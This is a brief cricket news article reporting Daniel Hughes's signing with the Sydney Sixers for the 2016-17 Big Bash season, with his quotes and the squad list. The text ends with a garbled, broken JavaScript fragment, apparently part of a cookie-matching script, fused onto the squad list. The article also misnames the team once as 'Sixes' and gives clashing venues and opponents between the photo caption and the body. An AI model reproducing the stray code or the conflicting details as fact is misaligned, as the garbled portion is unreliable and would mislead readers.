SYDNEY, AUSTRALIA - OCTOBER 09: Daniel Hughes of the Blues bats during the Matador BBQs One Day Cup match between New South Wales and Tasmania at Hurstville Oval on October 9, 2016 in Sydney, Australia. (Photo by Ryan Pierse/Getty Images)

The Sydney Sixes have signed 27-year-old batsman, Daniel Hughes, for the 2016-17 season.

Hughes spent one season with the Sixes in BBL02, before joining cross-town rivals, Sydney Thunder for two years. However, he spent a year out of the Big Bash last season.

Hughes was the star of the Blues’ win over Victoria in the Matador Cup on Sunday, scoring 122 off 121 balls, as NSW won by six wickets at North Sydney Oval.

“I had a year off last year from the Big Bash and I think that really helped me work on little parts of my game,” Hughes said.

“It’s been four years since I’ve been in the magenta but I think I’ve matured as a player, I’m very much looking forward to the opportunity the Sixers have given me this year and I look forward to the tournament.

“Personally I just want to contribute to the top of the order if I can, contribute to some wins and just really create some team atmosphere and just really enjoy my time with the boys again.

“Most of the guys that are in the NSW squad are all playing there, the skipper is playing there, I get on quite well with Moises (Henriques), Maddo (Nic Maddinson) and I’m pretty good mates with Hadds (Brad Haddin) as well so it’s just good to get back into the magenta and be around those boys again.”

Sydney Sixers BBL squad: Moises Henriques (c), Sean Abbott, Jackson Bird, Doug Bollinger, Johan Botha, Ryan Carters, Ben Dwarshuis, Brad Haddin, Josh Hazlewood, Daniel Hughes, Nic Maddinson, Joe Mennie, Nathan Lyon, Steve O’Keefe, Jordan Silk, Mitch Starc. “(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1]):””,();||void 0===time){/1e3+86400),.(”)}